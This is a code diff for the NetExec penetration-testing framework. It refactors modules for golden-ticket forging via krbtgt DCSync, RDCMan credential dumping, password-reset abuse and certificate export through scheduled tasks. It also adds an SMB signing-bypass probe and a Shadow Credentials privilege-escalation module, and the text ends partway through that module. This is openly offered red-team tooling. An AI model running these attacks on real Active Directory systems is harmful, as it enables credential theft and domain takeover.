@@ -49,7 +49,7 @@ class NXCModule:
         self.krbtgt_hash = ""
         self.aes128_key = ""
         self.aes256_key = ""
-        self.etype = "rc4"
+        self.etype = "aes256"
 
     def options(self, context, module_options):
         """
@@ -59,7 +59,7 @@ class NXCModule:
         USER        Target username to forge the ticket for (default: Administrator)
         USER_ID     RID used as the user ID in the PAC (default: 500)
         RID         RID used for the extra SID (default: 519 = Enterprise Admins)
-        ETYPE       Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
+        ETYPE       Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
 
         Examples:
         netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
@@ -69,7 +69,7 @@ class NXCModule:
         """
         self.context = context
         self.module_options = module_options
-        self.etype = module_options.get("ETYPE", "rc4").lower()
+        self.etype = module_options.get("ETYPE", "aes256").lower()
 
     def on_admin_login(self, context, connection):
         self.context = context
@@ -133,32 +133,6 @@ class NXCModule:
         else:
             self.context.log.fail("Could not retrieve child domain SID from connection.")
 
-    def _get_smb_session(self, ldap_conn):
-        smb = SMBConnection(
-            remoteName=ldap_conn.hostname,
-            remoteHost=ldap_conn.host,
-            sess_port=445,
-        )
-
-        if ldap_conn.kerberos:
-            smb.kerberosLogin(
-                user=ldap_conn.username,
-                password=ldap_conn.password,
-                domain=ldap_conn.domain,
-                lmhash=ldap_conn.lmhash,
-                nthash=ldap_conn.nthash,
-                aesKey=ldap_conn.aesKey,
-                kdcHost=ldap_conn.kdcHost,
-                useCache=ldap_conn.use_kcache,
-            )
-        elif ldap_conn.nthash or ldap_conn.lmhash:
-            # NTLM pass-the-hash
-            smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
-        else:
-            # NTLM with cleartext password
-            smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
-        return smb
-
     def _get_domain_netbios(self, ldap_conn):
         resp = ldap_conn.search(
             baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
@@ -225,11 +199,13 @@ class NXCModule:
 
     def get_krbtgt_hash(self, connection):
         try:
-            smb_conn = self._get_smb_session(connection)
-            self._dcsync_krbtgt(smb_conn, connection)
+            smb_conn = get_smb_connection(self.context, connection)
         except Exception as e:
             self.context.log.fail(f"Error during DCSync: {e}")
             return
+        if not smb_conn:
+            return
+        self._dcsync_krbtgt(smb_conn, connection)
 
         if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
             try:
@@ -300,7 +276,7 @@ class NXCModule:
     def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
         kerbdata = KERB_VALIDATION_INFO()
 
-        now_utc = datetime.datetime.now(datetime.timezone.utc)
+        now_utc = datetime.datetime.now(datetime.UTC)
         now_unix = timegm(now_utc.timetuple())
         now_filetime = self._getFileTime(now_unix)
 
@@ -451,7 +427,7 @@ class NXCModule:
         pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
 
     def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
-        now_utc = datetime.datetime.now(datetime.timezone.utc)
+        now_utc = datetime.datetime.now(datetime.UTC)
         end_utc = now_utc + datetime.timedelta(hours=duration_hours)
 
         enc_ticket_part = EncTicketPart()

nxc/modules/rclone.py

@@ -1,5 +1,5 @@
 import base64
-from Crypto.Cipher import AES
+from Cryptodome.Cipher import AES
 from io import BytesIO
 from nxc.helpers.misc import CATEGORY
 
@@ -83,6 +83,6 @@ class NXCModule:
         return crypter.decrypt(buf).decode("utf-8")
 
     def base64_urlsafedecode(self, string):
-        padding = 4 - (len(string) % 4)
+        padding = (4 - len(string) % 4) % 4
         string += "=" * padding
         return base64.urlsafe_b64decode(string)

nxc/modules/rdcman.py

@@ -1,55 +1,28 @@
 from dploot.triage.rdg import RDGTriage, RDGServerProfile
-from dploot.lib.target import Target
 
-from nxc.helpers.logger import highlight
 from nxc.helpers.misc import CATEGORY
-from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
 
 
 class NXCModule:
     name = "rdcman"
     description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
-    supported_protocols = ["smb"]
+    supported_protocols = ["smb", "wmi", "winrm", "mssql"]
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         """ """
 
     def on_admin_login(self, context, connection):
-        username = connection.username
-        password = getattr(connection, "password", "")
-        nthash = getattr(connection, "nthash", "")
-
-        self.pvkbytes = get_domain_backup_key(connection)
-
-        target = Target.create(
-            domain=connection.domain,
-            username=username,
-            password=password,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            lmhash=getattr(connection, "lmhash", ""),
-            nthash=nthash,
-            do_kerberos=connection.kerberos,
-            aesKey=connection.aesKey,
-            no_pass=True,
-            use_kcache=getattr(connection, "use_kcache", False),
-        )
-
-        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-
-        self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
+        self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
 
         if len(self.masterkeys) == 0:
             context.log.fail("No masterkeys looted")
             return
 
-        context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
+        context.log.success("Looting RDCMan secrets")
 
         try:
-            triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
+            triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
             rdcman_files, rdgfiles = triage.triage_rdcman()
             for rdcman_file in rdcman_files:
                 if rdcman_file is None:
@@ -58,7 +31,7 @@ class NXCModule:
                     log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
                     if isinstance(rdg_cred, RDGServerProfile):
                         log_text = f"{rdg_cred.server_name} - {log_text}"
-                        context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
+                        connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
             for rdgfile in rdgfiles:
                 if rdgfile is None:
                     continue
@@ -66,6 +39,6 @@ class NXCModule:
                     log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
                     if isinstance(rdg_cred, RDGServerProfile):
                         log_text = f"{rdg_cred.server_name} - {log_text}"
-                    context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
+                    connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
         except Exception as e:
             context.log.debug(f"Could not loot RDCMan secrets: {e}")

nxc/modules/rdp.py

@@ -1,6 +1,6 @@
 from sys import exit
 
-from nxc.connection import dcom_FirewallChecker
+from nxc.helpers.rpc import dcom_FirewallChecker
 from nxc.helpers.misc import CATEGORY
 
 from impacket.dcerpc.v5 import rrp
@@ -101,7 +101,8 @@ class NXCModule:
                             context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
                         else:
                             context.log.fail(str(e))
-                wmi_rdp._RdpWmi__dcom.disconnect()
+                if wmi_rdp._RdpWmi__dcom is not None:
+                    wmi_rdp._RdpWmi__dcom.disconnect()
 
 
 class RdpSmb:
@@ -222,7 +223,16 @@ class RdpWmi:
         self.__aesKey = connection.aesKey
         self.__timeout = timeout
 
+        self.__dcom = None
+        if self.__currentprotocol == "wmi":
+            # The wmi protocol already holds an authenticated IWbemLevel1Login:
+            # reuse it instead of creating a second DCOMConnection to the same
+            # target (whose disconnect would clash with the protocol's own)
+            self.__iWbemLevel1Login = connection.iWbemLevel1Login
+            return
+
         try:
+            *_, tgt, _ = connection.conn.getCredentials()
             self.__dcom = DCOMConnection(
                 self.__target,
                 self.__username,
@@ -235,11 +245,12 @@ class RdpWmi:
                 doKerberos=self.__doKerberos,
                 kdcHost=self.__kdcHost,
                 remoteHost=self.__remoteHost,
+                TGT=tgt,
             )
 
             i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
             if self.__currentprotocol == "smb":
-                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
+                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
                 if not flag or not self.__stringBinding:
                     error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
 

nxc/modules/reauth_swap.py

@@ -0,0 +1,144 @@
+import binascii
+import contextlib
+
+from impacket import ntlm
+from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
+from impacket.smb3structs import SMB2_SESSION_SETUP
+from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.smb import get_smb_connection
+
+
+class NXCModule:
+    """
+    Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
+
+    Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
+    log in as one account, then re-authenticate as a different one on the same connection. That swap
+    is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
+    defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
+    swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
+    cumulative updates). Not derivable from the build number (feature-flagged: the same build can
+    allow or refuse it), so it is probed live.
+    https://blackfield.ch/blog/defeating-enforced-smb-signing/
+    """
+    name = "reauth_swap"
+    description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    STATUS_SUCCESS = 0x00000000
+    STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
+    STATUS_ACCESS_DENIED = 0xC0000022
+    STATUS_LOGON_FAILURE = 0xC000006D
+    STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
+
+    def options(self, context, module_options):
+        """
+        PROBE_USER      second account, must differ from the login account (required)
+        PROBE_PASS      second account password
+        PROBE_NTHASH    second account NT hash (instead of PROBE_PASS)
+
+        The second account is probed over NTLM; its privileges do not matter.
+
+        Lockout warning: every target triggers one real NTLM logon as PROBE_USER
+        (in the login account's domain). A correct password never increments
+        badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
+        A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
+        domain, returns LOGON_FAILURE and raises badPwdCount once per host.
+        Validate PROBE_USER on a single host before running wide.
+        """
+        self.probe_user = module_options.get("PROBE_USER")
+        self.probe_pass = module_options.get("PROBE_PASS", "")
+        self.probe_nthash = module_options.get("PROBE_NTHASH", "")
+        if not self.probe_user:
+            context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
+            return False
+        if not self.probe_pass and not self.probe_nthash:
+            context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
+            return False
+
+    def on_login(self, context, connection):
+        if self.probe_user.lower() == (connection.username or "").lower():
+            context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
+            return
+
+        # without enforced signing there is nothing to bypass: a relayed auth is accepted directly
+        if not connection.signing:
+            context.log.info("SMB signing not enforced, nothing to bypass - skipping")
+            return
+
+        try:
+            # fresh session so nxc's own connection is left untouched
+            new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
+            try:
+                status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
+            finally:
+                with contextlib.suppress(Exception):
+                    new_conn.close()
+        except Exception as e:
+            context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
+            return
+
+        if status == self.STATUS_SUCCESS:
+            context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
+            context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
+        elif status == self.STATUS_ACCESS_DENIED:
+            context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
+        elif status == self.STATUS_LOGON_FAILURE:
+            context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
+        elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
+            context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
+        else:
+            context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
+
+    def reauth_as(self, smb, user, password, domain, nthash):
+        """Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
+        # Create NTLM Type1 message (challenge)
+        type1 = ntlm.getNTLMSSPType1("", domain)
+        blob = SPNEGO_NegTokenInit()
+        blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
+        blob["MechToken"] = type1.getData()
+
+        setup = SMB2SessionSetup()
+        setup["Flags"] = 0
+        setup["SecurityMode"] = 1
+        setup["SecurityBufferLength"] = len(blob.getData())
+        setup["Buffer"] = blob.getData()
+        pkt = smb.SMB_PACKET()
+        pkt["Command"] = SMB2_SESSION_SETUP
+        pkt["Data"] = setup
+
+        ans = smb.recvSMB(smb.sendSMB(pkt))
+        if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
+            return ans["Status"]
+
+        resp = SMB2SessionSetup_Response(ans["Data"])
+        try:
+            type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
+        except Exception:
+            raw = resp["Buffer"]
+            type2 = raw[raw.index(b"NTLMSSP"):]
+
+        lm = nt = ""
+        if nthash:
+            lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
+            nt = binascii.unhexlify(nthash)
+
+        # Create NTLM Type3 message (authentication)
+        type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
+        blob2 = SPNEGO_NegTokenResp()
+        blob2["ResponseToken"] = type3.getData()
+
+        setup2 = SMB2SessionSetup()
+        setup2["Flags"] = 0
+        setup2["SecurityMode"] = 1
+        setup2["SecurityBufferLength"] = len(blob2.getData())
+        setup2["Buffer"] = blob2.getData()
+
+        pkt2 = smb.SMB_PACKET()
+        pkt2["Command"] = SMB2_SESSION_SETUP
+        pkt2["Data"] = setup2
+
+        ans2 = smb.recvSMB(smb.sendSMB(pkt2))
+        return ans2["Status"]

nxc/modules/recyclebin.py

@@ -1,7 +1,9 @@
 from os import makedirs
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
-from os.path import join, abspath
+from os.path import join
+from pathlib import Path
 from impacket.dcerpc.v5 import rrp
 from impacket.dcerpc.v5.rrp import DCERPCSessionError
 from impacket.examples.secretsdump import RemoteOperations
@@ -73,8 +75,11 @@ class NXCModule:
 
                                     # Formatting the destination filename
                                     file_path = path.split("$")[-1].replace("/", "_")
-                                    filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
-                                    dest_path = abspath(join(export_path, filename))
+                                    filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
+                                    dest_path = Path(export_path, filename).resolve()
+                                    if Path(export_path).resolve() not in dest_path.parents:
+                                        context.log.fail(f"Path traversal detected in {filename!r}, skipping")
+                                        continue
                                     try:
                                         with open(dest_path, "wb+") as file:
                                             connection.conn.getFile("C$", path, file.write)

nxc/modules/remove-mic.py

@@ -2,7 +2,7 @@
 #  Dirk-jan Mollema (@_dirkjan)
 #  dlive (@D1iv3)
 #
-# Refernece:
+# Reference:
 #  - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
 #  - https://github.com/fox-it/cve-2019-1040-scanner
 #  - https://github.com/Dliv3/cve-2019-1040-scanner

nxc/modules/resetnightmare.py

@@ -1,4 +1,3 @@
-import sys
 from impacket.krb5 import constants
 from impacket.krb5.types import Principal
 from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
@@ -26,6 +25,7 @@ class NXCModule:
         self.new_password = None
         self.upn_user = None
         self.upn_password = None
+        self.upn_nthash = None
 
     def options(self, context, module_options):
         """
@@ -36,19 +36,22 @@ class NXCModule:
         NEW_PASSWORD    New password to set on TARGET
         UPN_USER        sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
         UPN_PASSWORD    Cleartext password of UPN_USER
+        UPN_NTHASH      NT Hash of UPN_USER
 
         Examples:
         netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
+        netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
         netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
         """
         self.target = module_options.get("TARGET")
         self.new_password = module_options.get("NEW_PASSWORD")
         self.upn_user = module_options.get("UPN_USER")
-        self.upn_password = module_options.get("UPN_PASSWORD")
+        self.upn_password = module_options.get("UPN_PASSWORD", "")
+        self.upn_nthash = module_options.get("UPN_NTHASH", "")
 
-        if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
-            context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
-            sys.exit(1)
+        if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
+            context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
+            return False
 
     def resolve_account(self, sam):
         response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
@@ -85,7 +88,7 @@ class NXCModule:
         client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
         kdc = self.connection.kdcHost or self.connection.host
         try:
-            tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
+            tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
         except (KerberosError, OSError) as e:
             self.context.log.fail(f"Failed to request change-password TGT: {e}")
             return None

nxc/modules/schtask_as.py

@@ -80,7 +80,10 @@ class NXCModule:
             self.logger.fail("You need to specify a USER to run the task as")
             return
 
-        if self.command_to_run.lower() == "certreq":
+        # certreq mode is decided from the original CMD here, because self.command_to_run is later
+        # reassigned to the batch path; the PFX download below is gated on this same flag
+        self.is_certreq = self.command_to_run.lower() == "certreq"
+        if self.is_certreq:
             if self.ca_name is None:
                 self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
                 return
@@ -96,21 +99,18 @@ class NXCModule:
             setlocal enabledelayedexpansion
 
             set "BASE={full_path_prefixed_file}"
-            certreq -new "%BASE%.inf" "%BASE%.req" > nul
-            certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
-            certutil -user -addstore my "%BASE%.cer" > nul
-            set "HASH="
-            for /f "tokens=2 delims=:" %%A in ('
-                certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
-            ') do (
-                set "tmp=%%A"
-                set "tmp=!tmp: =!"
-                set "HASH=!tmp!"
-            )
+            certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
+            certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
+            if not exist "%BASE%.cer" exit /b 12
 
-            if "!HASH!"=="" (
-                exit /b 1
-            )
+            rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
+            rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
+            rem that one certificate, never a pre-existing certificate in the user's store
+            set "HASH="
+            for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
+            if "!HASH!"=="" exit /b 13
+
+            certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
             certutil -user -repairstore my !HASH! > nul 2>&1
             certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
             certutil -user -delstore my !HASH! > nul 2>&1
@@ -212,7 +212,7 @@ class NXCModule:
                 except Exception as e:
                     self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
 
-            if self.ca_name and self.template_name:
+            if self.is_certreq:
                 dump_path = path.join(NXC_PATH, "modules/schtask_as")
                 if not path.isdir(dump_path):
                     makedirs(dump_path)

nxc/modules/shadow-creds.py

@@ -0,0 +1,249 @@
+import json
+from pathlib import Path
+
+from cryptography.hazmat.primitives.serialization import NoEncryption
+from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
+from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
+from dsinternals.common.data.DNWithBinary import DNWithBinary
+from dsinternals.common.data.hello.KeyCredential import KeyCredential
+from dsinternals.system.DateTime import DateTime
+from dsinternals.system.Guid import Guid
+from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
+
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.paths import NXC_PATH
+
+
+class NXCModule:
+    """
+    Made by @NeffIsBack
+    Heavily inspired by the pyWhisker project by Shutdown:
+    https://github.com/ShutdownRepo/pywhisker
+    """
+
+    name = "shadow-creds"
+    description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def options(self, context, module_options):
+        """
+        TARGET      sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
+        ACTION      Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
+        DEVICE_ID   KeyCredential device ID; required for info and remove
+        JSONFILE    JSON backup path; required for revert and optional for backup
+
+        Examples:
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
+        """
+        self.target = module_options.get("TARGET", "").strip()
+        self.action = module_options.get("ACTION", "list").lower().strip()
+        self.device_id = module_options.get("DEVICE_ID")
+        self.jsonfile = module_options.get("JSONFILE")
+
+        if not self.target:
+            context.log.fail("TARGET is required")
+            return False
+        if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
+            context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
+            return False
+        if self.action in {"info", "remove"} and not self.device_id:
+            context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
+            return False
+        if self.action == "revert" and not self.jsonfile:
+            context.log.fail("JSONFILE is required for ACTION=revert")
+            return False
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+        resp = connection.search(
+            searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
+            attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
+        )
+        resp_parsed = parse_result_attributes(resp)
+        if not resp_parsed:
+            context.log.fail(f"Account '{self.target}' was not found")
+            return
+
+        target_dn = resp_parsed[0]["distinguishedName"]
+        raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
+        raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
+
+        if self.action == "list":
+            self.list(self.parse_credentials(raw_values))
+        elif self.action == "add":
+            self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
+        elif self.action == "info":
+            self.info(self.parse_credentials(raw_values))
+        elif self.action == "remove":
+            self.remove(target_dn, self.parse_credentials(raw_values))
+        elif self.action == "clear":
+            self.clear(target_dn, raw_values)
+        elif self.action == "backup":
+            self.backup(raw_values)
+        elif self.action == "revert":
+            self.revert(target_dn)
+
+    def parse_credentials(self, raw_values):
+        credentials = []
+        for raw_value in raw_values:
+            try:
+                # AD stores each KeyCredential as a textual DN-Binary value.
+                credentials.append(
+                    (
+                        raw_value,
+                        KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
+                    )
+                )
+            except Exception as e:
+                self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
+        return credentials
+
+    def get_credential(self, credentials):
+        for raw_value, credential in credentials:
+            if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
+                return raw_value, credential
+        self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
+        return None
+
+    def list(self, credentials):
+        if not credentials:
+            self.context.log.display(f"No KeyCredentials found on {self.target}")
+            return
+
+        self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
+        for _, credential in credentials:
+            self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
+
+    def add(self, target_dn, is_computer):
+        try:
+            certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
+            credential = KeyCredential.fromX509Certificate2(
+                certificate=certificate,
+                deviceId=Guid(),
+                owner=target_dn,
+                currentTime=DateTime(),
+                isComputerKey=is_computer,
+            )
+            device_id = credential.DeviceId.toFormatD().lower()
+            ldap_value = credential.toDNWithBinary().toString()
+            output_path = self.write_pfx(certificate, device_id)
+        except Exception as e:
+            self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
+            return
+
+        try:
+            # Add one value instead of replacing the complete multi-valued attribute.
+            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
+        except LDAPSessionError as e:
+            self.context.log.fail(f"Failed to add the KeyCredential: {e}")
+            self.context.log.display(f"Generated PFX retained at {output_path}")
+            return
+
+        self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
+        self.context.log.highlight(f"PFX: {output_path}")
+
+    def write_pfx(self, certificate, device_id):
+        output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
+        output_dir.mkdir(parents=True, exist_ok=True)
+        output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
+
+        output_path.write_bytes(
+            serialize_key_and_certificates(
+                name=self.target.encode("utf-8"),
+                key=certificate.key.to_cryptography_key(),
+                cert=certificate.certificate.to_cryptography(),
+                cas=None,
+                encryption_algorithm=NoEncryption(),
+            )
+        )
+        return output_path
+
+    def info(self, credentials):
+        result = self.get_credential(credentials)
+        if result is None:
+            return
+
+        _, credential = result
+        self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
+        for name, value in {
+            "Owner": credential.Owner,
+            "Device ID": credential.DeviceId.toFormatD().lower(),
+            "Version": hex(credential.Version.value),
+            "Key ID": credential.Identifier,
+            "Key hash": credential.KeyHash.hex(),
+            "Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
+            "  Exponent (E)": credential.RawKeyMaterial.exponent,
+            "  Modulus (N)": hex(credential.RawKeyMaterial.modulus),
+            "  Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
+            "  Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
+            "Usage": credential.Usage,
+            "Legacy usage": credential.LegacyUsage,
+            "Source": credential.Source,
+            "Custom key info": credential.CustomKeyInfo,
+            **{f"  {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
+            "Last logon time": credential.LastLogonTime,
+            "Creation time": credential.CreationTime,
+        }.items():
+            self.context.log.highlight(f"{name:<17} {value}")
+
+    def remove(self, target_dn, credentials):
+        result = self.get_credential(credentials)
+        if result is None:
+            return
+
+        raw_value, _ = result
+        try:
+            # Delete the exact raw value so neighboring credentials remain untouched.
+            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
+        except LDAPSessionError as e:
+            self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
+            return
+
+        self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
+
+    def clear(self, target_dn, raw_values):
